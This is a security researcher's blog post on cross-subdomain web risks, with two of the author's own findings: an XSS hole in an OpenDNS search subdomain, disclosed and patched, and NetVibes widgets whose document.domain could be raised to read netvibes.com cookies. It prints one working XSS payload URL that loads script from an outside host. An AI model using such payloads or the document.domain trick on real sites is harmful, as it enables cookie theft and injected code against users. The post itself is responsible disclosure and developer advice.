Real-Life Examples of Cross-Subdomain Issues

About two weeks ago, security researcher Mike Bailey posted a paper on cookie attacks via subdomains (hat tip: Jeremiah Grossman). I’ve seen several stories since then dealing with various subdomain security issues. In fact, the day after Bailey’s write-up, Yvo Schaap described several cases where Facebook and MySpace inadvertently exposed data through trust policies on particular subdomains.

I bring up subdomains to highlight two important considerations for developers. First, never ignore code hosted on subdomains. Your primary site may be secure, but vulnerabilities on one of your subdomains could still open you up to attacks. Second, make sure you understand how browsers handle subdomains. While generally subdomains are generally treated as separate from their parent domain, remember that changing document.domain can allow code to move up the DNS chain.

While Schaap illustrated the first point already, I can add one more example. A few weeks ago, I poked around a few OpenDNS pages, and noticed an oversight similar to some of the FAXX hacks I’d seen in September: an AJAX interface called directly rendered a good bit of HTML. While mostly filtered, I did come across one parameter that could be used to render injected code. The vulnerable page was hosted on guide.opendns.com, a subdomain used for presenting search results: http://guide.opendns.com/ajax_serp.php?q=&oq=><script src%3Dhttps://theharmonyguy.com/opendns.js></script>

OpenDNS patched this hole quickly after I disclosed it to them, and I doubt it would have had much serious impact. Any important cookies appear to be attached to www.opendns.com, which would not be accessible, and trying to change network properties would require accessing OpenDNS pages on HTTPS (and thus blocked by the browser).

I came across a striking example of my second point while reading about a new Twitter widget. A ReadWriteWeb reader commented that users of NetVibes, a custom home page service, could make use of the widgets by inserting them into an HTML widget available on NetVibes. I knew that the Twitter widgets required JavaScript, so I started testing NetVibes widgets in much the same way I looked at Google Wave gadgets.

Sure enough, NetVibes allowed JavaScript and iframes to be inserted into their widgets, though they again render in container iframes. More troublesome, though, is that these container iframes do not load in an entirely separate domain – they load in a subdomain of netvibes.com. Within minutes, I changed document.domain to netvibes.com and loaded the cookies associated with that domain. Thankfully my login cookies appear to only be tied to www.netvibes.com, and trying to load pages using URIs that don’t include “www” get forwarded to www.netvibes.com pages. Still, as much as I’ve criticized Google Wave’s gadget implementation, at least Google used a domain entirely separate from google.com for their gadgets. Finally, I would note that I could add potentially malicious NetVibes widgets to publicly accessible NetVibes pages, leading to persistent XSS issues.

As Bailey pointed out in his paper, “DNS was never intended to be a security feature.” Even with protections such as same-origin policies, I get a bit leery at times at how thin the walls preventing certain attacks can become. When building secure web applications, remember your subdomains and how they relate to each other.